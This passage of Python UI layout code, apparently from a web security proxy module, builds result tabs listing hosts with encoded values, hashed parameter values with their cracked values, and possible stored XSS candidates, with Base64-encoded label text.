'U2VsZWN0IGEgSG9zdA==')) + enc_hosts_grid.CellClick += lambda s,e: self.enc_hosts_grid_click() + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_hosts_grid) + ui.ModControls['enc_hosts_grid'] = enc_hosts_grid + mod_label_8 = ModLabel() + mod_label_8.Name = 'mod_label_8' + mod_label_8.Size = ModUiTools.GetSizeDefinition(203,14) + mod_label_8.Location = ModUiTools.GetLocationDefinition(3,9) + mod_label_8.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_8.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_8.Enabled = True + mod_label_8.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_8.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_8.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_8.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_8.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGVuY29kZWQgdmFsdWVzOg==') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_8) + ui.ModControls['mod_label_8'] = mod_label_8 + result_tabs.TabPages.Add('hashed_parameters_tab', ' Hashed Parameter Values ') + mod_label_9 = ModLabel() + mod_label_9.Name = 'mod_label_9' + mod_label_9.Size = ModUiTools.GetSizeDefinition(205,17) + mod_label_9.Location = ModUiTools.GetLocationDefinition(252,388) + mod_label_9.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_9.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_9.Enabled = True + mod_label_9.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_9.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_9.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_9.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_9.Text = Tools.Base64Decode('UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_9) + ui.ModControls['mod_label_9'] = mod_label_9 + hashed_parameter_names_tb = ModTextBox() + hashed_parameter_names_tb.Name = 'hashed_parameter_names_tb' + hashed_parameter_names_tb.Size = ModUiTools.GetSizeDefinition(270,41) + hashed_parameter_names_tb.Location = ModUiTools.GetLocationDefinition(251,408) + hashed_parameter_names_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_parameter_names_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_parameter_names_tb.Enabled = True + hashed_parameter_names_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_parameter_names_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_parameter_names_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_parameter_names_tb.ReadOnly = True + hashed_parameter_names_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_parameter_names_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_parameter_names_tb.Multiline = True + hashed_parameter_names_tb.WordWrap = True + hashed_parameter_names_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_parameter_names_tb) + ui.ModControls['hashed_parameter_names_tb'] = hashed_parameter_names_tb + mod_label_10 = ModLabel() + mod_label_10.Name = 'mod_label_10' + mod_label_10.Size = ModUiTools.GetSizeDefinition(167,14) + mod_label_10.Location = ModUiTools.GetLocationDefinition(251,9) + mod_label_10.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_10.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_10.Enabled = True + mod_label_10.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_10.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_10.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_10.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_10.Text = Tools.Base64Decode('U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo=') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_10) + ui.ModControls['mod_label_10'] = mod_label_10 + mod_label_11 = ModLabel() + mod_label_11.Name = 'mod_label_11' + mod_label_11.Size = ModUiTools.GetSizeDefinition(301,18) + mod_label_11.Location = ModUiTools.GetLocationDefinition(527,388) + mod_label_11.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_11.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_11.Enabled = True + mod_label_11.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_11.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_11.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_11.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_11.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg==') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_11) + ui.ModControls['mod_label_11'] = mod_label_11 + hashed_log_ids_tb = ModTextBox() + hashed_log_ids_tb.Name = 'hashed_log_ids_tb' + hashed_log_ids_tb.Size = ModUiTools.GetSizeDefinition(336,38) + hashed_log_ids_tb.Location = ModUiTools.GetLocationDefinition(527,409) + hashed_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_log_ids_tb.Enabled = True + hashed_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_log_ids_tb.ReadOnly = True + hashed_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_log_ids_tb.Multiline = True + hashed_log_ids_tb.WordWrap = True + hashed_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_log_ids_tb) + ui.ModControls['hashed_log_ids_tb'] = hashed_log_ids_tb + mod_label_12 = ModLabel() + mod_label_12.Name = 'mod_label_12' + mod_label_12.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_12.Location = ModUiTools.GetLocationDefinition(527,300) + mod_label_12.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_12.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_12.Enabled = True + mod_label_12.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_12.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_12.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_12.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_12.Text = Tools.Base64Decode('Q3JhY2tlZCBWYWx1ZTo=') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_12) + ui.ModControls['mod_label_12'] = mod_label_12 + mod_label_13 = ModLabel() + mod_label_13.Name = 'mod_label_13' + mod_label_13.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_13.Location = ModUiTools.GetLocationDefinition(251,300) + mod_label_13.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_13.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_13.Enabled = True + mod_label_13.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_13.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_13.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_13.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_13.Text = Tools.Base64Decode('SGFzaGVkIFZhbHVlOg==') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_13) + ui.ModControls['mod_label_13'] = mod_label_13 + hashed_cracked_value_tb = ModTextBox() + hashed_cracked_value_tb.Name = 'hashed_cracked_value_tb' + hashed_cracked_value_tb.Size = ModUiTools.GetSizeDefinition(336,68) + hashed_cracked_value_tb.Location = ModUiTools.GetLocationDefinition(527,317) + hashed_cracked_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_cracked_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_cracked_value_tb.Enabled = True + hashed_cracked_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_cracked_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_cracked_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_cracked_value_tb.ReadOnly = True + hashed_cracked_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_cracked_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_cracked_value_tb.Multiline = True + hashed_cracked_value_tb.WordWrap = True + hashed_cracked_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_cracked_value_tb) + ui.ModControls['hashed_cracked_value_tb'] = hashed_cracked_value_tb + hashed_original_value_tb = ModTextBox() + hashed_original_value_tb.Name = 'hashed_original_value_tb' + hashed_original_value_tb.Size = ModUiTools.GetSizeDefinition(270,68) + hashed_original_value_tb.Location = ModUiTools.GetLocationDefinition(251,317) + hashed_original_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_original_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_original_value_tb.Enabled = True + hashed_original_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_original_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_original_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_original_value_tb.ReadOnly = True + hashed_original_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_original_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_original_value_tb.Multiline = True + hashed_original_value_tb.WordWrap = True + hashed_original_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_original_value_tb) + ui.ModControls['hashed_original_value_tb'] = hashed_original_value_tb + hashed_values_grid = ModDataGridView() + hashed_values_grid.Name = 'hashed_values_grid' + hashed_values_grid.Size = ModUiTools.GetSizeDefinition(612,268) + hashed_values_grid.Location = ModUiTools.GetLocationDefinition(251,26) + hashed_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_values_grid.Enabled = True + hashed_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + hashed_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_values_grid.AllowUserToAddRows = False + hashed_values_grid.AllowUserToDeleteRows = False + hashed_values_grid.AllowUserToResizeColumns = True + hashed_values_grid.AllowUserToResizeRows = False + hashed_values_grid.ColumnHeadersVisible = True + hashed_values_grid.RowHeadersVisible = False + hashed_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('OriginalValue', 'DataGridViewTextBoxCell', True, 100, 265, 5, 'Fill', 'T3JpZ2luYWwgSGFzaGVkIFZhbHVl')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Encoding Type', 'DataGridViewTextBoxCell', True, 100, 70, 70, 'None', 'SGFzaCBUeXBl')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Decoded Value', 'DataGridViewTextBoxCell', True, 100, 264, 5, 'Fill', 'Q3JhY2tlZCBWYWx1ZQ==')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'TG9nSWRz')) + hashed_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ParameterNames', 'DataGridViewTextBoxCell', False, 100, 5, 2, 'NotSet', 'UGFyYW1ldGVyTmFtZXM=')) + hashed_values_grid.CellClick += lambda s,e: self.hashed_values_grid_click() + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_values_grid) + ui.ModControls['hashed_values_grid'] = hashed_values_grid + hashed_selected_host_tb = ModTextBox() + hashed_selected_host_tb.Name = 'hashed_selected_host_tb' + hashed_selected_host_tb.Size = ModUiTools.GetSizeDefinition(242,39) + hashed_selected_host_tb.Location = ModUiTools.GetLocationDefinition(3,408) + hashed_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_selected_host_tb.Enabled = True + hashed_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + hashed_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + hashed_selected_host_tb.ReadOnly = True + hashed_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + hashed_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + hashed_selected_host_tb.Multiline = True + hashed_selected_host_tb.WordWrap = True + hashed_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_selected_host_tb) + ui.ModControls['hashed_selected_host_tb'] = hashed_selected_host_tb + hashed_hosts_grid = ModDataGridView() + hashed_hosts_grid.Name = 'hashed_hosts_grid' + hashed_hosts_grid.Size = ModUiTools.GetSizeDefinition(242,376) + hashed_hosts_grid.Location = ModUiTools.GetLocationDefinition(3,26) + hashed_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + hashed_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + hashed_hosts_grid.Enabled = True + hashed_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + hashed_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + hashed_hosts_grid.AllowUserToAddRows = False + hashed_hosts_grid.AllowUserToDeleteRows = False + hashed_hosts_grid.AllowUserToResizeColumns = True + hashed_hosts_grid.AllowUserToResizeRows = False + hashed_hosts_grid.ColumnHeadersVisible = True + hashed_hosts_grid.RowHeadersVisible = False + hashed_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + hashed_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Host', 'DataGridViewTextBoxCell', True, 100, 239, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + hashed_hosts_grid.CellClick += lambda s,e: self.hashed_hosts_grid_click() + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(hashed_hosts_grid) + ui.ModControls['hashed_hosts_grid'] = hashed_hosts_grid + mod_label_14 = ModLabel() + mod_label_14.Name = 'mod_label_14' + mod_label_14.Size = ModUiTools.GetSizeDefinition(203,14) + mod_label_14.Location = ModUiTools.GetLocationDefinition(3,9) + mod_label_14.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_14.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_14.Enabled = True + mod_label_14.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_14.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_14.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_14.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_14.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6') + result_tabs.TabPages['hashed_parameters_tab'].Controls.Add(mod_label_14) + ui.ModControls['mod_label_14'] = mod_label_14 + result_tabs.TabPages.Add('stored_reflections_tab', ' Potential Stored XSS Candidates ') + mod_label_15 = ModLabel() + mod_label_15.Name = 'mod_label_15' + mod_label_15.Size = ModUiTools.GetSizeDefinition(250,17) + mod_label_15.Location = ModUiTools.GetLocationDefinition(251,368) + mod_label_15.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_15.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_15.Enabled = True + mod_label_15.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_15.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_15.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_15.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_15.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cyBoYXZpbmcgdGhpcyBQYXJhbWV0ZXI6') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_15) + ui.ModControls['mod_label_15'] = mod_label_15 + sr_request_log_ids_tb = ModTextBox() + sr_request_log_ids_tb.Name = 'sr_request_log_ids_tb' + sr_request_log_ids_tb.Size = ModUiTools.GetSizeDefinition(270,61) + sr_request_log_ids_tb.Location = ModUiTools.GetLocationDefinition(251,388) + sr_request_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_request_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_request_log_ids_tb.Enabled = True + sr_request_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_request_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_request_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_request_log_ids_tb.ReadOnly = True + sr_request_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_request_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_request_log_ids_tb.Multiline = True + sr_request_log_ids_tb.WordWrap = True + sr_request_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_request_log_ids_tb) + ui.ModControls['sr_request_log_ids_tb'] = sr_request_log_ids_tb + mod_label_16 = ModLabel() + mod_label_16.Name = 'mod_label_16' + mod_label_16.Size = ModUiTools.GetSizeDefinition(167,14) + mod_label_16.Location = ModUiTools.GetLocationDefinition(251,9) + mod_label_16.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_16.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_16.Enabled = True + mod_label_16.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_16.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_16.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_16.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_16.Text = Tools.Base64Decode('U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo=') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_16) + ui.ModControls['mod_label_16'] = mod_label_16 + mod_label_17 = ModLabel() + mod_label_17.Name = 'mod_label_17' + mod_label_17.Size = ModUiTools.GetSizeDefinition(307,18) + mod_label_17.Location = ModUiTools.GetLocationDefinition(527,368) + mod_label_17.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_17.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_17.Enabled = True + mod_label_17.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_17.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_17.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_17.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_17.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXNwb25zZXMgaGF2aW5nIHN0b3JlZCByZWZsZWN0aW9uIG9mIHZhbHVlOg==') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_17) + ui.ModControls['mod_label_17'] = mod_label_17 + sr_response_log_ids_tb = ModTextBox() + sr_response_log_ids_tb.Name = 'sr_response_log_ids_tb' + sr_response_log_ids_tb.Size = ModUiTools.GetSizeDefinition(336,58) + sr_response_log_ids_tb.Location = ModUiTools.GetLocationDefinition(527,389) + sr_response_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_response_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_response_log_ids_tb.Enabled = True + sr_response_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_response_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_response_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_response_log_ids_tb.ReadOnly = True + sr_response_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_response_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_response_log_ids_tb.Multiline = True + sr_response_log_ids_tb.WordWrap = True + sr_response_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_response_log_ids_tb) + ui.ModControls['sr_response_log_ids_tb'] = sr_response_log_ids_tb + mod_label_18 = ModLabel() + mod_label_18.Name = 'mod_label_18' + mod_label_18.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_18.Location = ModUiTools.GetLocationDefinition(527,300) + mod_label_18.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_18.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_18.Enabled = True + mod_label_18.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_18.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_18.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_18.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_18.Text = Tools.Base64Decode('UmVmbGVjdGVkIFZhbHVlOg==') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_18) + ui.ModControls['mod_label_18'] = mod_label_18 + mod_label_19 = ModLabel() + mod_label_19.Name = 'mod_label_19' + mod_label_19.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_19.Location = ModUiTools.GetLocationDefinition(251,300) + mod_label_19.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_19.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_19.Enabled = True + mod_label_19.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_19.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_19.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_19.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_19.Text = Tools.Base64Decode('UGFyYW1ldGVyIE5hbWU6') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_19) + ui.ModControls['mod_label_19'] = mod_label_19 + sr_value_tb = ModTextBox() + sr_value_tb.Name = 'sr_value_tb' + sr_value_tb.Size = ModUiTools.GetSizeDefinition(336,48) + sr_value_tb.Location = ModUiTools.GetLocationDefinition(527,317) + sr_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_value_tb.Enabled = True + sr_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_value_tb.ReadOnly = True + sr_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_value_tb.Multiline = True + sr_value_tb.WordWrap = True + sr_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_value_tb) + ui.ModControls['sr_value_tb'] = sr_value_tb + sr_parameter_name_tb = ModTextBox() + sr_parameter_name_tb.Name = 'sr_parameter_name_tb' + sr_parameter_name_tb.Size = ModUiTools.GetSizeDefinition(270,48) + sr_parameter_name_tb.Location = ModUiTools.GetLocationDefinition(251,317) + sr_parameter_name_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_parameter_name_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_parameter_name_tb.Enabled = True + sr_parameter_name_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_parameter_name_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_parameter_name_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_parameter_name_tb.ReadOnly = True + sr_parameter_name_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_parameter_name_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_parameter_name_tb.Multiline = True + sr_parameter_name_tb.WordWrap = True + sr_parameter_name_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_parameter_name_tb) + ui.ModControls['sr_parameter_name_tb'] = sr_parameter_name_tb + sr_values_grid = ModDataGridView() + sr_values_grid.Name = 'sr_values_grid' + sr_values_grid.Size = ModUiTools.GetSizeDefinition(612,268) + sr_values_grid.Location = ModUiTools.GetLocationDefinition(251,26) + sr_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_values_grid.Enabled = True + sr_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + sr_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_values_grid.AllowUserToAddRows = False + sr_values_grid.AllowUserToDeleteRows = False + sr_values_grid.AllowUserToResizeColumns = True + sr_values_grid.AllowUserToResizeRows = False + sr_values_grid.ColumnHeadersVisible = True + sr_values_grid.RowHeadersVisible = False + sr_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('OriginalValue', 'DataGridViewTextBoxCell', True, 100, 100, 5, 'NotSet', 'UGFyYW1ldGVyIE5hbWU=')) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Encoding Type', 'DataGridViewTextBoxCell', True, 100, 100, 5, 'NotSet', 'VmFsdWU=')) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Decoded Value', 'DataGridViewTextBoxCell', True, 100, 205, 5, 'Fill', 'UmVxdWVzdHMgd2l0aCBQYXJhbWV0ZXI=')) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 204, 2, 'Fill', 'UmVzcG9uc2VzIHdpdGggUmVmbGVjdGlvbg==')) + sr_values_grid.CellClick += lambda s,e: self.sr_values_grid_click() + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_values_grid) + ui.ModControls['sr_values_grid'] = sr_values_grid + sr_selected_host_tb = ModTextBox() + sr_selected_host_tb.Name = 'sr_selected_host_tb' + sr_selected_host_tb.Size = ModUiTools.GetSizeDefinition(242,39) + sr_selected_host_tb.Location = ModUiTools.GetLocationDefinition(3,408) + sr_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_selected_host_tb.Enabled = True + sr_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_selected_host_tb.ReadOnly = True + sr_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_selected_host_tb.Multiline = True + sr_selected_host_tb.WordWrap = True + sr_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_selected_host_tb) + ui.ModControls['sr_selected_host_tb'] = sr_selected_host_tb + sr_hosts_grid = ModDataGridView() + sr_hosts_grid.Name = 'sr_hosts_grid' + sr_hosts_grid.Size = ModUiTools.GetSizeDefinition(242,376) + sr_hosts_grid.Location = ModUiTools.GetLocationDefinition(3,26) 